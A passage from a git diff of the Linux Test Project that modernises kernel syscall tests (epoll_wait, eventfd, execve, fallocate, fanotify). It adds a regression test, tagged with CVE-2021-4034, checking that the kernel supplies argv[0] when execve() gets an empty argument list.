+ * EPOLLIN events on an epoll instance and that struct epoll_event is set
+ * correctly.
  */
 
 #include <sys/epoll.h>
@@ -224,24 +225,18 @@
 	}
 }
 
+static void (*testcase_list[])(void) = {
+	verify_epollout, verify_epollin, verify_epollio
+};
+
 static void do_test(unsigned int n)
 {
-	switch (n) {
-	case 0:
-		verify_epollout();
-	break;
-	case 1:
-		verify_epollin();
-	break;
-	case 2:
-		verify_epollio();
-	break;
-	}
+	testcase_list[n]();
 }
 
 static struct tst_test test = {
 	.setup = setup,
 	.cleanup = cleanup,
 	.test = do_test,
-	.tcnt = 3,
+	.tcnt = ARRAY_SIZE(testcase_list),
 };
diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c
index c54a739..d2c0b6e 100644
--- a/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c
+++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c
@@ -1,12 +1,14 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2016 Fujitsu Ltd.
- *  Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
+ * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
  */
 
-/*
- *  Check that epoll_wait(2) timeouts correctly.
+/*\
+ * [Description]
+ *
+ * Check that epoll_wait(2) timeouts correctly.
  */
 
 #include <sys/epoll.h>
@@ -17,7 +19,7 @@
 
 static int epfd, fds[2];
 static struct epoll_event epevs[1] = {
-       {.events = EPOLLIN}
+	{.events = EPOLLIN}
 };
 
 int sample_fn(int clk_id, long long usec)
@@ -30,8 +32,7 @@
 	tst_timer_sample();
 
 	if (TST_RET != 0) {
-		tst_res(TFAIL | TTERRNO,
-			"epoll_wait() returned %li", TST_RET);
+		tst_res(TFAIL | TTERRNO, "epoll_wait() returned %li", TST_RET);
 		return 1;
 	}
 
diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait03.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait03.c
index 47b6d8f..4b21aba 100644
--- a/testcases/kernel/syscalls/epoll_wait/epoll_wait03.c
+++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait03.c
@@ -1,153 +1,86 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2016 Fujitsu Ltd.
  * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
-/*
- * Description:
- *  1) epoll_wait(2) fails if epfd is not a valid file descriptor
- *  2) epoll_wait(2) fails if epfd is not an epoll file descriptor
- *  3) epoll_wait(2) fails if maxevents is less than zero
- *  4) epoll_wait(2) fails if maxevents is equal to zero
- *  5) epoll_wait(2) fails if the memory area pointed to by events
- *     is not accessible with write permissions.
+/*\
+ * [Description]
  *
- * Expected Result:
- *  1) epoll_wait(2) should return -1 and set errno to EBADF
- *  2) epoll_wait(2) should return -1 and set errno to EINVAL
- *  3) epoll_wait(2) should return -1 and set errno to EINVAL
- *  4) epoll_wait(2) should return -1 and set errno to EINVAL
- *  5) epoll_wait(2) should return -1 and set errno to EFAULT
+ * Basic test for epoll_wait:
+ *
+ * - epoll_wait fails with EBADF if epfd is not a valid file descriptor.
+ * - epoll_wait fails with EINVAL if epfd is not an epoll file descriptor.
+ * - epoll_wait fails with EINVAL if maxevents is less than zero.
+ * - epoll_wait fails with EINVAL if maxevents is equal to zero.
+ * - epoll_wait fails with EFAULT if the memory area pointed to by events is
+ *   not accessible with write permissions.
  */
 
-#include <sys/epoll.h>
 #include <sys/mman.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
+#include <sys/epoll.h>
 
-#include "test.h"
-#include "safe_macros.h"
-
-static int page_size, fds[2], epfd, inv_epfd, bad_epfd = -1;
+#include "tst_test.h"
 
 static struct epoll_event epevs[1] = {
 	{.events = EPOLLOUT}
 };
 
-static struct epoll_event *ev_rdwr = epevs;
-static struct epoll_event *ev_rdonly;
+static struct epoll_event *ev_rdonly, *ev_rdwr = epevs;
+static int fds[2], epfd, inv_epfd, bad_epfd = -1;
 
 static struct test_case_t {
 	int *epfd;
 	struct epoll_event **ev;
 	int maxevents;
 	int exp_errno;
+	const char *desc;
 } tc[] = {
-	/* test1 */
-	{&bad_epfd, &ev_rdwr, 1, EBADF},
-	/* test2 */
-	{&inv_epfd, &ev_rdwr, 1, EINVAL},
-	/* test3 */
-	{&epfd, &ev_rdwr, -1, EINVAL},
-	/* test4 */
-	{&epfd, &ev_rdwr, 0, EINVAL},
-	/* test5 */
-	{&epfd, &ev_rdonly, 1, EFAULT}
+	{&bad_epfd, &ev_rdwr, 1, EBADF, "epfd is not a valid fd"},
+	{&inv_epfd, &ev_rdwr, 1, EINVAL, "epfd is not an epoll fd"},
+	{&epfd, &ev_rdwr, -1, EINVAL, "maxevents is less than zero"},
+	{&epfd, &ev_rdwr, 0, EINVAL, "maxevents is equal to zero"},
+	{&epfd, &ev_rdonly, 1, EFAULT, "events has no write permissions"}
 };
 
-char *TCID = "epoll_wait03";
-int TST_TOTAL = ARRAY_SIZE(tc);
-
-static void setup(void);
-static void verify_epoll_wait(struct test_case_t *tc);
-static void cleanup(void);
-
-int main(int ac, char **av)
-{
-	int lc, i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			verify_epoll_wait(&tc[i]);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	page_size = getpagesize();
-
-	ev_rdonly = SAFE_MMAP(NULL, NULL, page_size, PROT_READ,
-		MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
-
-	SAFE_PIPE(NULL, fds);
+	ev_rdonly = SAFE_MMAP(NULL, getpagesize(), PROT_READ,
+			      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+	SAFE_PIPE(fds);
 
 	epfd = epoll_create(1);
-	if (epfd == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "failed to create epoll instance");
-	}
+	if (epfd == -1)
+		tst_brk(TBROK | TERRNO, "epoll_create()");
 
 	epevs[0].data.fd = fds[1];
 
-	if (epoll_ctl(epfd, EPOLL_CTL_ADD, fds[1], &epevs[0])) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "failed to register epoll target");
-	}
+	if (epoll_ctl(epfd, EPOLL_CTL_ADD, fds[1], &epevs[0]))
+		tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
 }
 
-static void verify_epoll_wait(struct test_case_t *tc)
+static void verify_epoll_wait(unsigned int n)
 {
-	TEST(epoll_wait(*(tc->epfd), *(tc->ev), tc->maxevents, -1));
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "epoll_wait() succeed unexpectedly");
-	} else {
-		if (tc->exp_errno == TEST_ERRNO) {
-			tst_resm(TPASS | TTERRNO,
-				 "epoll_wait() fails as expected");
-		} else {
-			tst_resm(TFAIL | TTERRNO,
-				 "epoll_wait() fails unexpectedly, "
-				 "expected %d: %s", tc->exp_errno,
-				 tst_strerrno(tc->exp_errno));
-		}
-	}
+	TST_EXP_FAIL(epoll_wait(*tc[n].epfd, *tc[n].ev, tc[n].maxevents, -1),
+		     tc[n].exp_errno, "epoll_wait() %s", tc[n].desc);
 }
 
 static void cleanup(void)
 {
-	if (epfd > 0 && close(epfd))
-		tst_resm(TWARN | TERRNO, "failed to close epfd");
+	if (epfd > 0)
+		SAFE_CLOSE(epfd);
 
-	if (close(fds[0]))
-		tst_resm(TWARN | TERRNO, "close(fds[0]) failed");
+	if (fds[0] > 0)
+		SAFE_CLOSE(fds[0]);
 
-	if (close(fds[1]))
-		tst_resm(TWARN | TERRNO, "close(fds[1]) failed");
+	if (fds[1] > 0)
+		SAFE_CLOSE(fds[1]);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_epoll_wait,
+	.tcnt = ARRAY_SIZE(tc),
+};
diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait04.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait04.c
new file mode 100644
index 0000000..dc62e92
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait04.c
@@ -0,0 +1,71 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Huawei Technologies Co., Ltd. 2021. All rights reserved.
+ * Author: Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Check that a timeout equal to zero causes epoll_wait() to return immediately.
+ */
+
+#include <sys/epoll.h>
+
+#include "tst_test.h"
+#include "tst_timer_test.h"
+
+#define USEC_PRECISION 1000	/* Error margin allowed in usec */
+
+static int epfd, fds[2];
+static struct epoll_event epevs[1] = {
+	{.events = EPOLLIN}
+};
+
+static void run(void)
+{
+	tst_timer_start(CLOCK_MONOTONIC);
+	TEST(epoll_wait(epfd, epevs, 1, 0));
+	tst_timer_stop();
+
+	if (TST_RET != 0)
+		tst_res(TFAIL | TTERRNO, "epoll_wait() returned %li", TST_RET);
+
+	if (tst_timer_elapsed_us() <= USEC_PRECISION)
+		tst_res(TPASS, "epoll_wait() returns immediately with a timeout equal to zero");
+	else
+		tst_res(TFAIL, "epoll_wait() waited for %llius with a timeout equal to zero",
+			tst_timer_elapsed_us());
+}
+
+static void setup(void)
+{
+	SAFE_PIPE(fds);
+
+	epfd = epoll_create(1);
+	if (epfd == -1)
+		tst_brk(TBROK | TERRNO, "epoll_create()");
+
+	epevs[0].data.fd = fds[0];
+
+	if (epoll_ctl(epfd, EPOLL_CTL_ADD, fds[0], &epevs[0]))
+		tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
+}
+
+static void cleanup(void)
+{
+	if (epfd > 0)
+		SAFE_CLOSE(epfd);
+
+	if (fds[0] > 0)
+		SAFE_CLOSE(fds[0]);
+
+	if (fds[1] > 0)
+		SAFE_CLOSE(fds[1]);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/eventfd/eventfd01.c b/testcases/kernel/syscalls/eventfd/eventfd01.c
index 4d88891..c24aa31 100644
--- a/testcases/kernel/syscalls/eventfd/eventfd01.c
+++ b/testcases/kernel/syscalls/eventfd/eventfd01.c
@@ -1,5 +1,6 @@
 /*
  *   Copyright (c) 2008 Vijay Kumar B. <vijaykumar@bravegnu.org>
+ *   Copyright (c) Linux Test Project, 2008-2022
  *
  *   Based on testcases/kernel/syscalls/waitpid/waitpid01.c
  *   Original copyright message:
@@ -72,7 +73,7 @@
 static int myeventfd(unsigned int initval, int flags)
 {
 	/* eventfd2 uses FLAGS but eventfd doesn't take FLAGS. */
-	return ltp_syscall(__NR_eventfd, initval);
+	return tst_syscall(__NR_eventfd, initval);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/eventfd2/eventfd2_01.c b/testcases/kernel/syscalls/eventfd2/eventfd2_01.c
index a4af388..c9ecdc5 100644
--- a/testcases/kernel/syscalls/eventfd2/eventfd2_01.c
+++ b/testcases/kernel/syscalls/eventfd2/eventfd2_01.c
@@ -53,7 +53,6 @@
 /*              Ported to LTP                                                 */
 /*                      - Jan 08 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
 /******************************************************************************/
-#include <fcntl.h>
 #include <stdio.h>
 #include <unistd.h>
 #include <sys/syscall.h>
@@ -92,7 +91,7 @@
 	}
 	setup();
 
-	fd = ltp_syscall(__NR_eventfd2, 1, 0);
+	fd = tst_syscall(__NR_eventfd2, 1, 0);
 	if (fd == -1) {
 		tst_brkm(TFAIL, cleanup, "eventfd2(0) failed");
 	}
@@ -105,7 +104,7 @@
 	}
 	close(fd);
 
-	fd = ltp_syscall(__NR_eventfd2, 1, EFD_CLOEXEC);
+	fd = tst_syscall(__NR_eventfd2, 1, EFD_CLOEXEC);
 	if (fd == -1) {
 		tst_brkm(TFAIL, cleanup, "eventfd2(EFD_CLOEXEC) failed");
 	}
diff --git a/testcases/kernel/syscalls/eventfd2/eventfd2_02.c b/testcases/kernel/syscalls/eventfd2/eventfd2_02.c
index 151edb8..2125b52 100644
--- a/testcases/kernel/syscalls/eventfd2/eventfd2_02.c
+++ b/testcases/kernel/syscalls/eventfd2/eventfd2_02.c
@@ -50,7 +50,6 @@
 /*              Ported to LTP                                                 */
 /*                      - Jan 13 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
 /******************************************************************************/
-#include <fcntl.h>
 #include <stdio.h>
 #include <unistd.h>
 #include <sys/syscall.h>
@@ -90,7 +89,7 @@
 	setup();
 
 	tst_count = 0;
-	fd = ltp_syscall(__NR_eventfd2, 1, 0);
+	fd = tst_syscall(__NR_eventfd2, 1, 0);
 	if (fd == -1) {
 		tst_brkm(TFAIL, cleanup, "eventfd2(0) failed");
 	}
@@ -103,7 +102,7 @@
 	}
 	close(fd);
 
-	fd = ltp_syscall(__NR_eventfd2, 1, EFD_NONBLOCK);
+	fd = tst_syscall(__NR_eventfd2, 1, EFD_NONBLOCK);
 	if (fd == -1) {
 		tst_brkm(TFAIL, cleanup, "eventfd2(EFD_NONBLOCK) failed");
 	}
diff --git a/testcases/kernel/syscalls/eventfd2/eventfd2_03.c b/testcases/kernel/syscalls/eventfd2/eventfd2_03.c
index 4c26b65..e26714d 100644
--- a/testcases/kernel/syscalls/eventfd2/eventfd2_03.c
+++ b/testcases/kernel/syscalls/eventfd2/eventfd2_03.c
@@ -52,7 +52,7 @@
 
 static int eventfd2(int count, int flags)
 {
-	return ltp_syscall(__NR_eventfd2, count, flags);
+	return tst_syscall(__NR_eventfd2, count, flags);
 }
 
 static void xsem_wait(int fd)
diff --git a/testcases/kernel/syscalls/execle/execle01.c b/testcases/kernel/syscalls/execle/execle01.c
index f10813c..917dc89 100644
--- a/testcases/kernel/syscalls/execle/execle01.c
+++ b/testcases/kernel/syscalls/execle/execle01.c
@@ -16,8 +16,6 @@
 
 #include "tst_test.h"
 
-#define IPC_ENV_VAR "LTP_IPC_PATH"
-
 static void verify_execle(void)
 {
 	pid_t pid;
diff --git a/testcases/kernel/syscalls/execlp/execlp01.c b/testcases/kernel/syscalls/execlp/execlp01.c
index 87c2a9f..99ea594 100644
--- a/testcases/kernel/syscalls/execlp/execlp01.c
+++ b/testcases/kernel/syscalls/execlp/execlp01.c
@@ -22,7 +22,7 @@
 	pid_t pid;
 
 	pid = SAFE_FORK();
-	if (pid == 0 ) {
+	if (pid == 0) {
 		TEST(execlp("execlp01_child", "execlp01_child", "canary", NULL));
 		tst_brk(TFAIL | TTERRNO,
 			"Failed to execute execlp01_child");
diff --git a/testcases/kernel/syscalls/execve/.gitignore b/testcases/kernel/syscalls/execve/.gitignore
index 50cabbb..fee81fa 100644
--- a/testcases/kernel/syscalls/execve/.gitignore
+++ b/testcases/kernel/syscalls/execve/.gitignore
@@ -4,4 +4,6 @@
 /execve03
 /execve04
 /execve05
+/execve06
+/execve06_child
 /execve_child
diff --git a/testcases/kernel/syscalls/execve/execve01.c b/testcases/kernel/syscalls/execve/execve01.c
index 9331c94..2b12c76 100644
--- a/testcases/kernel/syscalls/execve/execve01.c
+++ b/testcases/kernel/syscalls/execve/execve01.c
@@ -17,8 +17,6 @@
 
 #include "tst_test.h"
 
-#define IPC_ENV_VAR "LTP_IPC_PATH"
-
 static void verify_execve(void)
 {
 	pid_t pid;
diff --git a/testcases/kernel/syscalls/execve/execve02.c b/testcases/kernel/syscalls/execve/execve02.c
index 0574f5c..e7b2adc 100644
--- a/testcases/kernel/syscalls/execve/execve02.c
+++ b/testcases/kernel/syscalls/execve/execve02.c
@@ -74,16 +74,14 @@
 	nobody_uid = pwd->pw_uid;
 }
 
-static const char *const resource_files[] = {
-	TEST_APP,
-	NULL,
-};
-
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
 	.child_needs_reinit = 1,
 	.setup = setup,
-	.resource_files = resource_files,
+	.resource_files = (const char *const []) {
+		TEST_APP,
+		NULL
+	},
 	.test_all = verify_execve,
 };
diff --git a/testcases/kernel/syscalls/execve/execve04.c b/testcases/kernel/syscalls/execve/execve04.c
index c7b8c16..18e883a 100644
--- a/testcases/kernel/syscalls/execve/execve04.c
+++ b/testcases/kernel/syscalls/execve/execve04.c
@@ -63,15 +63,13 @@
 	exit(0);
 }
 
-static const char *const resource_files[] = {
-	TEST_APP,
-	NULL,
-};
-
 static struct tst_test test = {
 	.test_all = verify_execve,
 	.forks_child = 1,
 	.child_needs_reinit = 1,
 	.needs_checkpoints = 1,
-	.resource_files = resource_files,
+	.resource_files = (const char *const []) {
+		TEST_APP,
+		NULL
+	}
 };
diff --git a/testcases/kernel/syscalls/execve/execve05.c b/testcases/kernel/syscalls/execve/execve05.c
index 4c9789c..87565d9 100644
--- a/testcases/kernel/syscalls/execve/execve05.c
+++ b/testcases/kernel/syscalls/execve/execve05.c
@@ -44,11 +44,6 @@
 
 static char *opt_nchild;
 
-static const char *const resource_files[] = {
-	TEST_APP,
-	NULL,
-};
-
 static void do_child(void)
 {
 	char *argv[3] = {TEST_APP, "canary", NULL};
@@ -80,12 +75,15 @@
 static struct tst_test test = {
 	.test_all = verify_execve,
 	.options = (struct tst_option[]) {
-		{"n:", &opt_nchild, "-n    numbers of children"},
+		{"n:", &opt_nchild, "Numbers of children"},
 		{}
 	},
 	.forks_child = 1,
 	.child_needs_reinit = 1,
 	.needs_checkpoints = 1,
-	.resource_files = resource_files,
+	.resource_files = (const char *const []) {
+		TEST_APP,
+		NULL
+	},
 	.setup = setup,
 };
diff --git a/testcases/kernel/syscalls/execve/execve06.c b/testcases/kernel/syscalls/execve/execve06.c
new file mode 100644
index 0000000..afbfcfa
--- /dev/null
+++ b/testcases/kernel/syscalls/execve/execve06.c
@@ -0,0 +1,51 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 Cyril Hrubis <chrubis@suse.cz>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test that kernel adds dummy argv[0] if empty argument list was passed to
+ * execve(). This fixes at least one CVE where userspace programs start to
+ * process argument list blindly from argv[1] such as polkit pkexec
+ * CVE-2021-4034.
+ *
+ * See also https://lwn.net/Articles/883547/
+ */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include "tst_test.h"
+
+static void verify_execve(void)
+{
+	pid_t pid;
+	char path[512];
+	char ipc_env_var[1024];
+
+	sprintf(ipc_env_var, IPC_ENV_VAR "=%s", getenv(IPC_ENV_VAR));
+
+	char *const envp[] = {ipc_env_var, NULL};
+	char *const argv[] = {NULL};
+
+	if (tst_get_path("execve06_child", path, sizeof(path)))
+		tst_brk(TCONF, "Couldn't find execve06_child in $PATH");
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		execve(path, argv, envp);
+		tst_brk(TFAIL | TERRNO, "Failed to execute execl01_child");
+	}
+}
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.test_all = verify_execve,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "dcd46d897adb"},
+		{"CVE", "2021-4034"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/execve/execve06_child.c b/testcases/kernel/syscalls/execve/execve06_child.c
new file mode 100644
index 0000000..ef226ee
--- /dev/null
+++ b/testcases/kernel/syscalls/execve/execve06_child.c
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2022 Cyril Hrubis <chrubis@suse.cz>
+ */
+
+#define TST_NO_DEFAULT_MAIN
+#include <stdlib.h>
+#include "tst_test.h"
+
+int main(int argc, char *argv[])
+{
+	tst_reinit();
+
+	if (argc != 1) {
+		tst_res(TFAIL, "argc is %d, expected 1", argc);
+		return 0;
+	}
+
+	if (!argv[0]) {
+		tst_res(TFAIL, "argv[0] == NULL");
+		return 0;
+	}
+
+	tst_res(TPASS, "argv[0] was filled in by kernel");
+
+	return 0;
+}
diff --git a/testcases/kernel/syscalls/execveat/execveat01.c b/testcases/kernel/syscalls/execveat/execveat01.c
index 16d27ac..55891b7 100644
--- a/testcases/kernel/syscalls/execveat/execveat01.c
+++ b/testcases/kernel/syscalls/execveat/execveat01.c
@@ -84,13 +84,11 @@
 		SAFE_CLOSE(fd4);
 }
 
-static const char *const resource_files[] = {
-	TEST_APP,
-	NULL,
-};
-
 static struct tst_test test = {
-	.resource_files = resource_files,
+	.resource_files = (const char *const []) {
+		TEST_APP,
+		NULL
+	},
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = verify_execveat,
 	.child_needs_reinit = 1,
diff --git a/testcases/kernel/syscalls/execveat/execveat02.c b/testcases/kernel/syscalls/execveat/execveat02.c
index 9b08efb..c057b8e 100644
--- a/testcases/kernel/syscalls/execveat/execveat02.c
+++ b/testcases/kernel/syscalls/execveat/execveat02.c
@@ -85,11 +85,6 @@
 	fd = SAFE_OPEN(TEST_REL_APP, O_PATH);
 }
 
-static const char *const resource_files[] = {
-	TEST_APP,
-	NULL,
-};
-
 static void cleanup(void)
 {
 	if (fd > 0)
@@ -97,7 +92,10 @@
 }
 
 static struct tst_test test = {
-	.resource_files = resource_files,
+	.resource_files = (const char *const []) {
+		TEST_APP,
+		NULL
+	},
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = verify_execveat,
 	.child_needs_reinit = 1,
diff --git a/testcases/kernel/syscalls/execveat/execveat03.c b/testcases/kernel/syscalls/execveat/execveat03.c
index 78b26ab..057d832 100644
--- a/testcases/kernel/syscalls/execveat/execveat03.c
+++ b/testcases/kernel/syscalls/execveat/execveat03.c
@@ -29,7 +29,6 @@
 #include <string.h>
 #include <sys/syscall.h>
 #include <sys/mount.h>
-#include <fcntl.h>
 #include "tst_test.h"
 #include "lapi/execveat.h"
 #include "lapi/fcntl.h"
@@ -68,11 +67,6 @@
 	check_execveat();
 }
 
-static const char *const resource_files[] = {
-	TEST_APP,
-	NULL,
-};
-
 static struct tst_test test = {
 	.needs_root = 1,
 	.mount_device = 1,
@@ -82,7 +76,10 @@
 	.child_needs_reinit = 1,
 	.setup = setup,
 	.test_all = verify_execveat,
-	.resource_files = resource_files,
+	.resource_files = (const char *const []) {
+		TEST_APP,
+		NULL
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "8db6c34f1dbc"},
 		{"linux-git", "355139a8dba4"},
diff --git a/testcases/kernel/syscalls/exit_group/exit_group01.c b/testcases/kernel/syscalls/exit_group/exit_group01.c
index d7bcbe9..5bf5b02 100644
--- a/testcases/kernel/syscalls/exit_group/exit_group01.c
+++ b/testcases/kernel/syscalls/exit_group/exit_group01.c
@@ -42,7 +42,7 @@
 		tst_brkm(TFAIL | TERRNO, NULL, "fork failed");
 
 	if (cpid == 0) {
-		TEST(ltp_syscall(__NR_exit_group, 4));
+		TEST(tst_syscall(__NR_exit_group, 4));
 	} else {
 		w = SAFE_WAIT(NULL, &status);
 
diff --git a/testcases/kernel/syscalls/faccessat/faccessat01.c b/testcases/kernel/syscalls/faccessat/faccessat01.c
index 807ab91..1ab494e 100644
--- a/testcases/kernel/syscalls/faccessat/faccessat01.c
+++ b/testcases/kernel/syscalls/faccessat/faccessat01.c
@@ -64,7 +64,7 @@
 
 int myfaccessat(int dirfd, const char *filename, int mode)
 {
-	return ltp_syscall(__NR_faccessat, dirfd, filename, mode);
+	return tst_syscall(__NR_faccessat, dirfd, filename, mode);
 }
 
 int main(int ac, char **av)
diff --git a/testcases/kernel/syscalls/fallocate/fallocate01.c b/testcases/kernel/syscalls/fallocate/fallocate01.c
index c60e160..383796c 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate01.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate01.c
@@ -93,7 +93,6 @@
 #include <errno.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <fcntl.h>
 #include <sys/syscall.h>
 #include <unistd.h>
 #include <inttypes.h>
diff --git a/testcases/kernel/syscalls/fallocate/fallocate04.c b/testcases/kernel/syscalls/fallocate/fallocate04.c
index 7ffc8f4..29de588 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate04.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate04.c
@@ -298,7 +298,7 @@
 
 static struct tst_test test = {
 	.options = (struct tst_option[]) {
-		{"v", &verbose, "-v       Turns on verbose mode"},
+		{"v", &verbose, "Turns on verbose mode"},
 		{}
 	},
 	.cleanup = cleanup,
diff --git a/testcases/kernel/syscalls/fallocate/fallocate05.c b/testcases/kernel/syscalls/fallocate/fallocate05.c
index 55ec1ae..d67c6cf 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate05.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate05.c
@@ -26,8 +26,8 @@
 #include "lapi/fallocate.h"
 
 #define MNTPOINT "mntpoint"
-#define FALLOCATE_BLOCKS 16
-#define DEALLOCATE_BLOCKS 4
+#define FALLOCATE_BLOCKS 256
+#define DEALLOCATE_BLOCKS 64
 #define TESTED_FLAGS "fallocate(FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE)"
 
 static char *buf;
@@ -147,7 +147,6 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.mount_device = 1,
-	.dev_min_size = 512,
 	.mntpoint = MNTPOINT,
 	.all_filesystems = 1,
 	.setup = setup,
diff --git a/testcases/kernel/syscalls/fallocate/fallocate06.c b/testcases/kernel/syscalls/fallocate/fallocate06.c
index 49ddba4..25b27e4 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate06.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate06.c
@@ -95,7 +95,7 @@
 	TEST(toggle_cow(fd, 0));
 	SAFE_FSTAT(fd, &statbuf);
 	blocksize = statbuf.st_blksize;
-	block_offset = MIN(blocksize / 2, 512);
+	block_offset = MIN(blocksize / 2, (blksize_t)512);
 	wbuf_size = MAX(WRITE_BLOCKS, FALLOCATE_BLOCKS) * blocksize;
 	rbuf_size = (DEALLOCATE_BLOCKS + 1) * blocksize;
 	SAFE_CLOSE(fd);
@@ -261,7 +261,6 @@
 	.tcnt = ARRAY_SIZE(testcase_list),
 	.needs_root = 1,
 	.mount_device = 1,
-	.dev_min_size = 512,
 	.mntpoint = MNTPOINT,
 	.all_filesystems = 1,
 	.setup = setup,
diff --git a/testcases/kernel/syscalls/fanotify/.gitignore b/testcases/kernel/syscalls/fanotify/.gitignore
index 9554b16..a0a7d20 100644
--- a/testcases/kernel/syscalls/fanotify/.gitignore
+++ b/testcases/kernel/syscalls/fanotify/.gitignore
@@ -17,4 +17,8 @@
 /fanotify17
 /fanotify18
 /fanotify19
+/fanotify20
+/fanotify21
+/fanotify22
+/fanotify23
 /fanotify_child
diff --git a/testcases/kernel/syscalls/fanotify/fanotify.h b/testcases/kernel/syscalls/fanotify/fanotify.h
index a2be183..ff2b4a7 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify.h
+++ b/testcases/kernel/syscalls/fanotify/fanotify.h
@@ -1,4 +1,4 @@
-// SPDX-License-Identifier: GPL-2.0-or-later
+/* SPDX-License-Identifier: GPL-2.0-or-later */
 /*
  * Copyright (c) 2012-2020 Linux Test Project.  All Rights Reserved.
  * Author: Jan Kara, November 2013
@@ -15,7 +15,7 @@
 #include <sys/fanotify.h>
 #include "lapi/fcntl.h"
 
-int safe_fanotify_init(const char *file, const int lineno,
+static inline int safe_fanotify_init(const char *file, const int lineno,
 	unsigned int flags, unsigned int event_f_flags)
 {
 	int rval;
@@ -48,7 +48,9 @@
 	rval = fanotify_mark(fd, flags, mask, dfd, pathname);
 
 	if (rval == -1) {
-		tst_brk_(file, lineno, TBROK | TERRNO, "fanotify_mark() failed");
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "fanotify_mark(%d, 0x%x, 0x%lx, ..., %s) failed",
+			 fd, flags, mask, pathname);
 	}
 
 	if (rval < -1) {
@@ -78,6 +80,14 @@
 #define FAN_REPORT_NAME		0x00000800
 #define FAN_REPORT_DFID_NAME     (FAN_REPORT_DIR_FID | FAN_REPORT_NAME)
 #endif
+#ifndef FAN_REPORT_PIDFD
+#define FAN_REPORT_PIDFD	0x00000080
+#endif
+#ifndef FAN_REPORT_TARGET_FID
+#define FAN_REPORT_TARGET_FID	0x00001000
+#define FAN_REPORT_DFID_NAME_TARGET (FAN_REPORT_DFID_NAME | \
+				     FAN_REPORT_FID | FAN_REPORT_TARGET_FID)
+#endif
 
 /* Non-uapi convenience macros */
 #ifndef FAN_REPORT_DFID_NAME_FID
@@ -93,6 +103,29 @@
 #ifndef FAN_MARK_FILESYSTEM
 #define FAN_MARK_FILESYSTEM	0x00000100
 #endif
+#ifndef FAN_MARK_EVICTABLE
+#define FAN_MARK_EVICTABLE	0x00000200
+#endif
+#ifndef FAN_MARK_IGNORE
+#define FAN_MARK_IGNORE		0x00000400
+#endif
+#ifndef FAN_MARK_IGNORE_SURV
